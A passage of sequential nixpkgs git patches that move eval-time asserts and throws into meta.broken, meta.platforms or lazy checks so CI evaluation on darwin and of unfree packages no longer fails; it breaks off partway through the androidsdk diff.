This enable polkit, which requires dbus, which is not enabled for
darwin. This fails eval with the triggered assert and can't be caught
without hacks in CI. `meta.broken` can be caught nicely, so using that
instead.

(cherry picked from commit 4b4abe2fa59c665b3fba14f6ff2d5ac2872d08c6)
---
 pkgs/by-name/pc/pcsclite/package.nix | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/pkgs/by-name/pc/pcsclite/package.nix b/pkgs/by-name/pc/pcsclite/package.nix
index 4fd0d974e94d..b90cedf109b1 100644
--- a/pkgs/by-name/pc/pcsclite/package.nix
+++ b/pkgs/by-name/pc/pcsclite/package.nix
@@ -23,9 +23,6 @@
   polkitSupport ? false,
 }:
 
-assert polkitSupport -> dbusSupport;
-assert systemdSupport -> dbusSupport;
-
 stdenv.mkDerivation (finalAttrs: {
   inherit pname;
   version = "2.3.0";
@@ -132,5 +129,6 @@ stdenv.mkDerivation (finalAttrs: {
     maintainers = [ lib.maintainers.anthonyroussel ];
     pkgConfigModules = [ "libpcsclite" ];
     platforms = lib.platforms.unix;
+    broken = !(polkitSupport -> dbusSupport) || !(systemdSupport -> dbusSupport);
   };
 })

From 968f29e0ae581052798ba631f86569e0fbde5e89 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 18:48:31 +0200
Subject: [PATCH 2695/4511] supersonic-wayland: drop darwin as supported
 platform

Wayland support is only possible on Linux. Instead of the assert, which
can't be caught by CI properly, do this via the list of supported
platforms in `meta.platforms`. This works much better for CI.

(cherry picked from commit 83e3e2aca326cc13c2b0aa68320ca8e51ccae718)
---
 pkgs/by-name/su/supersonic/package.nix | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/pkgs/by-name/su/supersonic/package.nix b/pkgs/by-name/su/supersonic/package.nix
index 17d452b3d8a9..3144a0d7fe69 100644
--- a/pkgs/by-name/su/supersonic/package.nix
+++ b/pkgs/by-name/su/supersonic/package.nix
@@ -16,8 +16,6 @@
   waylandSupport ? false,
 }:
 
-assert waylandSupport -> stdenv.hostPlatform.isLinux;
-
 buildGoModule rec {
   pname = "supersonic" + lib.optionalString waylandSupport "-wayland";
   version = "0.15.2";
@@ -97,7 +95,7 @@ buildGoModule rec {
     mainProgram = "supersonic" + lib.optionalString waylandSupport "-wayland";
     description = "A lightweight cross-platform desktop client for Subsonic music servers";
     homepage = "https://github.com/dweymouth/supersonic";
-    platforms = platforms.linux ++ platforms.darwin;
+    platforms = platforms.linux ++ lib.optionals (!waylandSupport) platforms.darwin;
     license = licenses.gpl3Plus;
     maintainers = with maintainers; [
       zane

From f0a7a7cc44a084f08ac497fe992579eded497d90 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 18:12:53 +0200
Subject: [PATCH 2696/4511] jetbrains.jcef: replace assert with meta.platforms

An assert can't be properly caught by CI, but `meta.platforms` can.

(cherry picked from commit bb4f984b8ebe2e4dfe86fbabc2562156a2a29d65)
---
 pkgs/development/compilers/jetbrains-jdk/jcef.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/jetbrains-jdk/jcef.nix b/pkgs/development/compilers/jetbrains-jdk/jcef.nix
index 179fb668fec0..34571287f6be 100644
--- a/pkgs/development/compilers/jetbrains-jdk/jcef.nix
+++ b/pkgs/development/compilers/jetbrains-jdk/jcef.nix
@@ -46,9 +46,6 @@
   thrift,
 }:
 
-assert !stdenv.hostPlatform.isDarwin;
-# I can't test darwin
-
 let
   rpath = lib.makeLibraryPath [
     glib
@@ -306,5 +303,9 @@ stdenv.mkDerivation rec {
     description = "Jetbrains' fork of JCEF";
     license = lib.licenses.bsd3;
     homepage = "https://github.com/JetBrains/JCEF";
+    platforms = [
+      "aarch64-linux"
+      "x86_64-linux"
+    ];
   };
 }

From 91ff0b3c1baf19254b3cd63f11e698b736cf9c9e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 17:47:15 +0200
Subject: [PATCH 2697/4511] hare: fix eval without enableCrossCompilation

In a `a -> b` construct, when the first condition `a` doesn't apply, the
overall result will be `true` - but this immediately fired the `throw`
in these cases. Thus `enableCrossCompilation = false` resulted in
immediate eval errors.

This also fixes eval for CI on darwin, where the assert should not
trigger, but instead let `meta.badPlatforms` be evaluated. This then
throws an "unsupported system" error, which can be caught properly by
CI.

(cherry picked from commit bd06437b4d20ae8765a306042a279538a29cff2c)
---
 pkgs/by-name/ha/hare/package.nix | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/pkgs/by-name/ha/hare/package.nix b/pkgs/by-name/ha/hare/package.nix
index 30472742a2a0..b79cd7b8e298 100644
--- a/pkgs/by-name/ha/hare/package.nix
+++ b/pkgs/by-name/ha/hare/package.nix
@@ -23,8 +23,7 @@ assert
     inherit (lib) intersectLists platforms concatStringsSep;
     workingPlatforms = intersectLists platforms.linux (with platforms; x86_64 ++ aarch64 ++ riscv64);
   in
-  (enableCrossCompilation -> !(isLinux && is64bit))
-  -> builtins.throw ''
+  lib.assertMsg (enableCrossCompilation -> isLinux && is64bit) ''
     The cross-compilation toolchains may only be enabled on the following platforms:
     ${concatStringsSep "\n" workingPlatforms}
   '';

From e6db0aa050068daad6ff1e73090babf5b2a7a317 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 17:28:47 +0200
Subject: [PATCH 2698/4511] graalvmPackages.graalvm-ce-musl: remove assert

This will fail with an "musl is not supported on this system" anyway.
The difference is, that this error via `musl`'s `meta.platforms` can be
caught properly by CI, but the assert can not without ugly workarounds.

(cherry picked from commit 1e97ae17b31adb31b98255d850e2fbdd822ec917)
---
 .../compilers/graalvm/community-edition/buildGraalvm.nix         | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/development/compilers/graalvm/community-edition/buildGraalvm.nix b/pkgs/development/compilers/graalvm/community-edition/buildGraalvm.nix
index df80f2fcc13e..004dfc4ef37a 100644
--- a/pkgs/development/compilers/graalvm/community-edition/buildGraalvm.nix
+++ b/pkgs/development/compilers/graalvm/community-edition/buildGraalvm.nix
@@ -23,7 +23,6 @@
   ...
 }@args:
 
-assert useMusl -> stdenv.hostPlatform.isLinux;
 let
   extraArgs = builtins.removeAttrs args [
     "lib"

From 43959c643ebe94b14c391ac85a578f2e89d2a57b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 17:19:10 +0200
Subject: [PATCH 2699/4511] gcl: remove asserts

These asserts throw on darwin, before `meta.platforms` is checked. This,
among many others, makes CI require ugly workarounds.

Upstream says its build requirements are "gcc/clang, ..." - so it seems
like these asserts are not required in principle. Also, they are 10
years old.

Can't test, because the packge is marked as broken entirely. Tried
updating to latest 2.7.1, but the build didn't succeed either.

(cherry picked from commit 64345f5ed4973fc70a41001bb2fa51bc4c51d058)
---
 pkgs/development/compilers/gcl/default.nix | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/pkgs/development/compilers/gcl/default.nix b/pkgs/development/compilers/gcl/default.nix
index bcca6cb9d3b7..304d9d3159f5 100644
--- a/pkgs/development/compilers/gcl/default.nix
+++ b/pkgs/development/compilers/gcl/default.nix
@@ -19,11 +19,6 @@
   libXmu,
 }:
 
-assert stdenv ? cc;
-assert stdenv.cc.isGNU;
-assert stdenv.cc ? libc;
-assert stdenv.cc.libc != null;
-
 stdenv.mkDerivation rec {
   pname = "gcl";
   version = "2.6.14";

From 070a19a188d848895e2157997d97a6b3b6e7c15a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 16:51:02 +0200
Subject: [PATCH 2700/4511] espanso: use finalAttrs

Avoids requiring to pass the new `espanso` itself when overriding.

(cherry picked from commit c66530e117e612de9b882f93f7f34fb0a85cc50d)
---
 pkgs/by-name/es/espanso/package.nix | 7 +++----
 pkgs/top-level/all-packages.nix     | 1 -
 2 files changed, 3 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/es/espanso/package.nix b/pkgs/by-name/es/espanso/package.nix
index 4f1ee62bf05b..e9217bbf40a0 100644
--- a/pkgs/by-name/es/espanso/package.nix
+++ b/pkgs/by-name/es/espanso/package.nix
@@ -23,13 +23,12 @@
   waylandSupport ? false,
   x11Support ? stdenv.hostPlatform.isLinux,
   testers,
-  espanso,
 }:
 # espanso does not support building with both X11 and Wayland support at the same time
 assert stdenv.hostPlatform.isLinux -> x11Support != waylandSupport;
 assert stdenv.hostPlatform.isDarwin -> !x11Support;
 assert stdenv.hostPlatform.isDarwin -> !waylandSupport;
-rustPlatform.buildRustPackage {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "espanso";
   version = "2.2-unstable-2024-05-14";
 
@@ -130,7 +129,7 @@ rustPlatform.buildRustPackage {
       '';
 
   passthru.tests.version = testers.testVersion {
-    package = espanso;
+    package = finalAttrs.finalPackage;
     # remove when updating to a release version
     version = "2.2.1";
   };
@@ -151,4 +150,4 @@ rustPlatform.buildRustPackage {
       Espanso detects when you type a keyword and replaces it while you're typing.
     '';
   };
-}
+})
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 3c27a643d53e..0d2bca1ca895 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -2174,7 +2174,6 @@ with pkgs;
   espanso-wayland = espanso.override {
     x11Support = false;
     waylandSupport = true;
-    espanso = espanso-wayland;
   };
 
   fastly = callPackage ../misc/fastly {

From 98c52009e1a31af8515be3ad78647bdfd6485622 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 16:51:55 +0200
Subject: [PATCH 2701/4511] espanso-wayland: fix eval on darwin

Since there is no support for wayland on darwin, just make
`espanso-wayland` the same as `espanso` on that platform.

That's better than throwing an assertion error, which breaks CI (or
requires ugly workarounds, which we want to get rid of).

(cherry picked from commit d4d9b88078b0c10cc18618a0998ea9566fbed408)
---
 pkgs/top-level/all-packages.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 0d2bca1ca895..6e127aa83b91 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -2173,7 +2173,7 @@ with pkgs;
 
   espanso-wayland = espanso.override {
     x11Support = false;
-    waylandSupport = true;
+    waylandSupport = !stdenv.hostPlatform.isDarwin;
   };
 
   fastly = callPackage ../misc/fastly {

From 5e85bd117d65b9d1d59896a9726061cfa31830e7 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 14:23:43 +0200
Subject: [PATCH 2702/4511] python3Packages.tensorflowWithCuda: move assert to
 meta.broken

`meta.broken` can be caught nicely by CI when running attrpath
generation for Eval. `assert` can not and requires ugly workarounds.

They both do the same for the user, though. Thus using the former.

(cherry picked from commit 1c4ffa79948de15f78019a4700ef24632f45a586)
---
 pkgs/development/python-modules/tensorflow/bin.nix | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/python-modules/tensorflow/bin.nix b/pkgs/development/python-modules/tensorflow/bin.nix
index 4057bfea3be7..797c323cab37 100644
--- a/pkgs/development/python-modules/tensorflow/bin.nix
+++ b/pkgs/development/python-modules/tensorflow/bin.nix
@@ -46,9 +46,6 @@
 # - the source build is currently brittle and not easy to maintain
 # - the source build doesn't work on NVIDIA Jetson platforms
 
-# unsupported combination
-assert !(stdenv.hostPlatform.isDarwin && cudaSupport);
-
 let
   packages = import ./binary-hashes.nix;
   inherit (cudaPackages) cudatoolkit cudnn;
@@ -233,5 +230,7 @@ buildPythonPackage rec {
       abbradar
     ];
     badPlatforms = [ "x86_64-darwin" ];
+    # unsupported combination
+    broken = stdenv.hostPlatform.isDarwin && cudaSupport;
   };
 }

From 45af3e7221d0fd655364fc688c31a77cc5af9b25 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 14:17:52 +0200
Subject: [PATCH 2703/4511] hyprland: fix eval failure on darwin

Darwin is not a supported platform, but the `meta.platform` check never
kicks in. That's because there is a `throw` in `useMoldLinker`
triggering for darwin. This, among many others, causes CI to require
hacky workarounds for evaluation.

By not adding this for darwin, eval up to `meta.platforms` will succeed
and the package then be filtered out correctly.

(cherry picked from commit 321430385fb368d3f521cda167ee539e239b701d)
---
 pkgs/by-name/hy/hyprland/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/hy/hyprland/package.nix b/pkgs/by-name/hy/hyprland/package.nix
index 4ad3601c78f8..2bc97bb05740 100644
--- a/pkgs/by-name/hy/hyprland/package.nix
+++ b/pkgs/by-name/hy/hyprland/package.nix
@@ -73,7 +73,9 @@ let
 
   # possibility to add more adapters in the future, such as keepDebugInfo,
   # which would be controlled by the `debug` flag
-  adapters = [
+  # Condition on darwin to avoid breaking eval for darwin in CI,
+  # even though darwin is not supported anyway.
+  adapters = lib.optionals (!stdenv.targetPlatform.isDarwin) [
     stdenvAdapters.useMoldLinker
   ];
 

From e81346b2fd65ea86bc8260e72ff453d87260964f Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 13:55:08 +0200
Subject: [PATCH 2704/4511] {clang,gcc}_multi: remove manual throws

This avoids hacky workarounds in CI when generating attrpaths for
non-x86_64-linux platforms.

Evaluation for these two attributes will not succeed on platforms other
than Linux anyway, because:
- The unsupported system error from `glibc-nolibgcc` is propagated.
- `pkgsi686Linux.gcc` triggers an assert anyway.

(cherry picked from commit 63e69e434e9fccff69667d71d66abbfe7cdaba27)
---
 pkgs/top-level/all-packages.nix | 58 +++++++++++++++------------------
 1 file changed, 26 insertions(+), 32 deletions(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 3c27a643d53e..98497d95fac2 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -5164,42 +5164,36 @@ with pkgs;
 
   wrapCCMulti =
     cc:
-    if stdenv.targetPlatform.system == "x86_64-linux" then
-      let
-        # Binutils with glibc multi
-        bintools = cc.bintools.override {
-          libc = glibc_multi;
-        };
-      in
-      lowPrio (wrapCCWith {
-        cc = cc.cc.override {
-          stdenv = overrideCC stdenv (wrapCCWith {
-            cc = cc.cc;
-            inherit bintools;
-            libc = glibc_multi;
-          });
-          profiledCompiler = false;
-          enableMultilib = true;
-        };
+    let
+      # Binutils with glibc multi
+      bintools = cc.bintools.override {
         libc = glibc_multi;
-        inherit bintools;
-        extraBuildCommands = ''
-          echo "dontMoveLib64=1" >> $out/nix-support/setup-hook
-        '';
-      })
-    else
-      throw "Multilib ${cc.name} not supported for ‘${stdenv.targetPlatform.system}’";
+      };
+    in
+    lowPrio (wrapCCWith {
+      cc = cc.cc.override {
+        stdenv = overrideCC stdenv (wrapCCWith {
+          cc = cc.cc;
+          inherit bintools;
+          libc = glibc_multi;
+        });
+        profiledCompiler = false;
+        enableMultilib = true;
+      };
+      libc = glibc_multi;
+      inherit bintools;
+      extraBuildCommands = ''
+        echo "dontMoveLib64=1" >> $out/nix-support/setup-hook
+      '';
+    });
 
   wrapClangMulti =
     clang:
-    if stdenv.targetPlatform.system == "x86_64-linux" then
-      callPackage ../development/compilers/llvm/multi.nix {
-        inherit clang;
-        gcc32 = pkgsi686Linux.gcc;
-        gcc64 = pkgs.gcc;
-      }
-    else
-      throw "Multilib ${clang.cc.name} not supported for '${stdenv.targetPlatform.system}'";
+    callPackage ../development/compilers/llvm/multi.nix {
+      inherit clang;
+      gcc32 = pkgsi686Linux.gcc;
+      gcc64 = pkgs.gcc;
+    };
 
   gcc_multi = wrapCCMulti gcc;
   clang_multi = wrapClangMulti clang;

From 8951043ba025bf17c927dd34f22e0d9430c8384a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 13:50:45 +0200
Subject: [PATCH 2705/4511] rust-hypervisor-firmware: make assert lazy

The assert should not block `meta.platforms` checks from taking effect.
Throwing lazily will allow CI to filter out the package on unsupported
platforms *before* hitting the assert and avoids hacky workarounds.

(cherry picked from commit 4fac5087390484b2b39895cc54b98d68c28475d0)
---
 .../virtualization/rust-hypervisor-firmware/default.nix     | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/virtualization/rust-hypervisor-firmware/default.nix b/pkgs/applications/virtualization/rust-hypervisor-firmware/default.nix
index 749e6b46ec19..0a8c571f5394 100644
--- a/pkgs/applications/virtualization/rust-hypervisor-firmware/default.nix
+++ b/pkgs/applications/virtualization/rust-hypervisor-firmware/default.nix
@@ -12,14 +12,14 @@ let
 
 in
 
-assert lib.assertMsg (builtins.pathExists target) "Target spec not found";
-
 let
   cross = import ../../../.. {
     system = stdenv.hostPlatform.system;
     crossSystem = lib.systems.examples."${arch}-embedded" // {
       rust.rustcTarget = "${arch}-unknown-none";
-      rust.platform = lib.importJSON target;
+      rust.platform =
+        assert lib.assertMsg (builtins.pathExists target) "Target spec not found";
+        lib.importJSON target;
     };
   };
 

From 1796ea06295a2d9ac5bbecdd3ff3b2b025614393 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 12:54:59 +0200
Subject: [PATCH 2706/4511] ubootLibreTechCC: use meta.broken instead of assert

This allows filtering the attrpath in CI properly for Eval.

(cherry picked from commit c9c857ecc92ec9959c55d627a5f8d64cd925b042)
---
 pkgs/misc/uboot/default.nix | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/pkgs/misc/uboot/default.nix b/pkgs/misc/uboot/default.nix
index 13320be7065b..ae2ce5e66131 100644
--- a/pkgs/misc/uboot/default.nix
+++ b/pkgs/misc/uboot/default.nix
@@ -301,10 +301,12 @@ in
         meta.license = lib.licenses.unfreeRedistributableFirmware;
       };
     in
-    assert stdenv.buildPlatform.system == "x86_64-linux"; # aml_encrypt_gxl is a x86_64 binary
     buildUBoot {
       defconfig = "libretech-cc_defconfig";
-      extraMeta.platforms = [ "aarch64-linux" ];
+      extraMeta = {
+        broken = stdenv.buildPlatform.system != "x86_64-linux"; # aml_encrypt_gxl is a x86_64 binary
+        platforms = [ "aarch64-linux" ];
+      };
       filesToInstall = [ "u-boot.bin" ];
       postBuild = ''
         # Copy binary files & tools from LibreELEC/amlogic-boot-fip, and u-boot build to working dir

From 814e6085f9ac8a1f4553ac1107e6f4ec9b904f71 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 18 Jul 2025 21:49:30 +0200
Subject: [PATCH 2707/4511] ocamlformat_0_26_2: build with OCaml 5.2

Fixes eval, which previously failed with:

```
ocamlformat 0.26.2 is not available for OCaml 5.3.0
```

(cherry picked from commit 46a4c640f05eb5f26e7951e11e5e7d9d425dfde1)
---
 pkgs/top-level/all-packages.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 3c27a643d53e..66297b7165e6 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -6019,9 +6019,12 @@ with pkgs;
     ocamlformat_0_26_1
     ;
 
+  inherit (ocaml-ng.ocamlPackages_5_2)
+    ocamlformat_0_26_2
+    ;
+
   inherit (ocamlPackages)
     ocamlformat # latest version
-    ocamlformat_0_26_2
     ocamlformat_0_27_0
     ;
 

From c44eecc2c3e8fd8aa6053b14e49b3dcd1714e123 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 18 Jul 2025 22:28:25 +0200
Subject: [PATCH 2708/4511] elixir_1_{14,15,16}: fix build with erlang 26

Those throw an error right now and break CI.

(cherry picked from commit c75ae07474065cb55bbbc61eb8d0d8b1d1e3fb54)
---
 pkgs/top-level/all-packages.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 66297b7165e6..517ae947e7e6 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -6412,10 +6412,13 @@ with pkgs;
     elixir
     elixir_1_18
     elixir_1_17
+    elixir-ls
+    ;
+
+  inherit (beam.packages.erlang_26.beamPackages)
     elixir_1_16
     elixir_1_15
     elixir_1_14
-    elixir-ls
     ;
 
   inherit (beam.packages.erlang)

From a999eb5507181d8a2e6c1cc95bca64665796219a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 18 Jul 2025 21:12:51 +0200
Subject: [PATCH 2709/4511] gams: move assert behind meta.license check

This now errors with the "allow unfree" error first - and only when
that's passed it asserts the specific `licenseFile` option.

This ensures that CI will not produce an eval warning for the assert
once we turn that on.

(cherry picked from commit 136dcc5f93936a795854bd9ddcbdb5e55f3708e6)
---
 pkgs/tools/misc/gams/default.nix | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/pkgs/tools/misc/gams/default.nix b/pkgs/tools/misc/gams/default.nix
index c69f98a9ca23..d27d3ddacd9d 100644
--- a/pkgs/tools/misc/gams/default.nix
+++ b/pkgs/tools/misc/gams/default.nix
@@ -8,8 +8,6 @@
   optgamsFile ? null,
 }:
 
-assert licenseFile != null;
-
 stdenv.mkDerivation rec {
   version = "25.0.2";
   pname = "gams";
@@ -23,6 +21,7 @@ stdenv.mkDerivation rec {
   dontBuild = true;
 
   installPhase =
+    assert licenseFile != null;
     ''
       mkdir -p "$out/bin" "$out/share/gams"
       cp -a * "$out/share/gams"

From 6d21ef1d45de317a8002a48bc9119a2e7f304d4e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 18 Jul 2025 21:20:26 +0200
Subject: [PATCH 2710/4511] sc2-headless: move throw behind meta.license check

Same reasoning as commit before.

(cherry picked from commit ccd127bc7ce5f5691d395b050d271b72e4b891d3)
---
 .../machine-learning/sc2-headless/default.nix | 123 +++++++++---------
 .../machine-learning/sc2-headless/maps.nix    |  17 ++-
 2 files changed, 75 insertions(+), 65 deletions(-)

diff --git a/pkgs/applications/science/machine-learning/sc2-headless/default.nix b/pkgs/applications/science/machine-learning/sc2-headless/default.nix
index 0700580b9598..cd067cec8e26 100644
--- a/pkgs/applications/science/machine-learning/sc2-headless/default.nix
+++ b/pkgs/applications/science/machine-learning/sc2-headless/default.nix
@@ -8,66 +8,67 @@
   licenseAccepted ? config.sc2-headless.accept_license or false,
 }:
 
-if !licenseAccepted then
-  throw ''
-    You must accept the Blizzard® Starcraft® II AI and Machine Learning License at
-    https://blzdistsc2-a.akamaihd.net/AI_AND_MACHINE_LEARNING_LICENSE.html
-    by setting nixpkgs config option 'sc2-headless.accept_license = true;'
-  ''
-else
-  assert licenseAccepted;
-  let
-    maps = callPackage ./maps.nix { };
-  in
-  stdenv.mkDerivation rec {
-    version = "4.7.1";
-    pname = "sc2-headless";
+let
+  maps = callPackage ./maps.nix { inherit licenseAccepted; };
+in
+stdenv.mkDerivation rec {
+  version = "4.7.1";
+  pname = "sc2-headless";
 
-    src = fetchurl {
-      url = "https://blzdistsc2-a.akamaihd.net/Linux/SC2.${version}.zip";
-      sha256 = "0q1ry9bd3dm8y4hvh57yfq7s05hl2k2sxi2wsl6h0r3w690v1kdd";
+  src = fetchurl {
+    url = "https://blzdistsc2-a.akamaihd.net/Linux/SC2.${version}.zip";
+    sha256 = "0q1ry9bd3dm8y4hvh57yfq7s05hl2k2sxi2wsl6h0r3w690v1kdd";
+  };
+
+  unpackCmd =
+    if !licenseAccepted then
+      throw ''
+        You must accept the Blizzard® Starcraft® II AI and Machine Learning License at
+        https://blzdistsc2-a.akamaihd.net/AI_AND_MACHINE_LEARNING_LICENSE.html
+        by setting nixpkgs config option 'sc2-headless.accept_license = true;'
+      ''
+    else
+      assert licenseAccepted;
+      ''
+        unzip -P 'iagreetotheeula' $curSrc
+      '';
+
+  nativeBuildInputs = [ unzip ];
+
+  installPhase = ''
+    mkdir -p $out
+    cp -r . "$out"
+    rm -r $out/Libs
+
+    cp -ur "${maps.minigames}"/* "${maps.melee}"/* "${maps.ladder2017season1}"/* "${maps.ladder2017season2}"/* "${maps.ladder2017season3}"/* \
+      "${maps.ladder2017season4}"/* "${maps.ladder2018season1}"/* "${maps.ladder2018season2}"/* \
+      "${maps.ladder2018season3}"/*  "${maps.ladder2018season4}"/* "${maps.ladder2019season1}"/* "$out"/Maps/
+  '';
+
+  preFixup = ''
+    find $out -type f -print0 | while IFS=''' read -d ''' -r file; do
+      isELF "$file" || continue
+      patchelf \
+        --interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
+        --set-rpath ${
+          lib.makeLibraryPath [
+            stdenv.cc.cc
+            stdenv.cc.libc
+          ]
+        } \
+        "$file"
+    done
+  '';
+
+  meta = {
+    platforms = lib.platforms.linux;
+    description = "Starcraft II headless linux client for machine learning research";
+    sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
+    license = {
+      fullName = "BLIZZARD® STARCRAFT® II AI AND MACHINE LEARNING LICENSE";
+      url = "https://blzdistsc2-a.akamaihd.net/AI_AND_MACHINE_LEARNING_LICENSE.html";
+      free = false;
     };
-
-    unpackCmd = ''
-      unzip -P 'iagreetotheeula' $curSrc
-    '';
-
-    nativeBuildInputs = [ unzip ];
-
-    installPhase = ''
-      mkdir -p $out
-      cp -r . "$out"
-      rm -r $out/Libs
-
-      cp -ur "${maps.minigames}"/* "${maps.melee}"/* "${maps.ladder2017season1}"/* "${maps.ladder2017season2}"/* "${maps.ladder2017season3}"/* \
-        "${maps.ladder2017season4}"/* "${maps.ladder2018season1}"/* "${maps.ladder2018season2}"/* \
-        "${maps.ladder2018season3}"/*  "${maps.ladder2018season4}"/* "${maps.ladder2019season1}"/* "$out"/Maps/
-    '';
-
-    preFixup = ''
-      find $out -type f -print0 | while IFS=''' read -d ''' -r file; do
-        isELF "$file" || continue
-        patchelf \
-          --interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
-          --set-rpath ${
-            lib.makeLibraryPath [
-              stdenv.cc.cc
-              stdenv.cc.libc
-            ]
-          } \
-          "$file"
-      done
-    '';
-
-    meta = {
-      platforms = lib.platforms.linux;
-      description = "Starcraft II headless linux client for machine learning research";
-      sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
-      license = {
-        fullName = "BLIZZARD® STARCRAFT® II AI AND MACHINE LEARNING LICENSE";
-        url = "https://blzdistsc2-a.akamaihd.net/AI_AND_MACHINE_LEARNING_LICENSE.html";
-        free = false;
-      };
-      maintainers = [ ];
-    };
-  }
+    maintainers = [ ];
+  };
+}
diff --git a/pkgs/applications/science/machine-learning/sc2-headless/maps.nix b/pkgs/applications/science/machine-learning/sc2-headless/maps.nix
index 19019408a18d..2552397c5fdd 100644
--- a/pkgs/applications/science/machine-learning/sc2-headless/maps.nix
+++ b/pkgs/applications/science/machine-learning/sc2-headless/maps.nix
@@ -1,12 +1,21 @@
 {
   fetchzip,
+  licenseAccepted,
 }:
 let
   fetchzip' =
-    args:
-    (fetchzip args).overrideAttrs (old: {
-      UNZIP = "-j -P iagreetotheeula";
-    });
+    if !licenseAccepted then
+      throw ''
+        You must accept the Blizzard® Starcraft® II AI and Machine Learning License at
+        https://blzdistsc2-a.akamaihd.net/AI_AND_MACHINE_LEARNING_LICENSE.html
+        by setting nixpkgs config option 'sc2-headless.accept_license = true;'
+      ''
+    else
+      assert licenseAccepted;
+      args:
+      (fetchzip args).overrideAttrs (old: {
+        UNZIP = "-j -P iagreetotheeula";
+      });
 in
 {
   minigames = fetchzip {

From 47d9055b8c1df0fc7852dd82b3e8e508502c3371 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 19 Jul 2025 10:41:28 +0200
Subject: [PATCH 2711/4511] androidsdk: move throw behind meta.license check

This allows evaluating the package's meta attribute without triggering
the throw, thus making it possible to list the package in the search
results. It also avoids CI falling over with this attribute.

(cherry picked from commit b2b3b4b7681d7d8736c11fa031cb707c8af61720)
---
 .../androidenv/compose-android-packages.nix   | 46 +++++++++----------
 1 file changed, 23 insertions(+), 23 deletions(-)

diff --git a/pkgs/development/mobile/androidenv/compose-android-packages.nix b/pkgs/development/mobile/androidenv/compose-android-packages.nix
index 1803a04a6638..44259a2f2e48 100644
--- a/pkgs/development/mobile/androidenv/compose-android-packages.nix
+++ b/pkgs/development/mobile/androidenv/compose-android-packages.nix
@@ -631,32 +631,32 @@ lib.recurseIntoAttrs rec {
   # This derivation deploys the tools package and symlinks all the desired
   # plugins that we want to use. If the license isn't accepted, prints all the licenses
   # requested and throws.
-  androidsdk =
-    if !licenseAccepted then
-      throw ''
-        ${builtins.concatStringsSep "\n\n" (mkLicenseTexts licenseNames)}
+  androidsdk = callPackage ./cmdline-tools.nix {
+    inherit
+      deployAndroidPackage
+      os
+      arch
+      meta
+      ;
 
-        You must accept the following licenses:
-        ${lib.concatMapStringsSep "\n" (str: "  - ${str}") licenseNames}
+    package = cmdline-tools-package;
 
-        a)
-          by setting nixpkgs config option 'android_sdk.accept_license = true;'.
-        b)
-          by an environment variable for a single invocation of the nix tools.
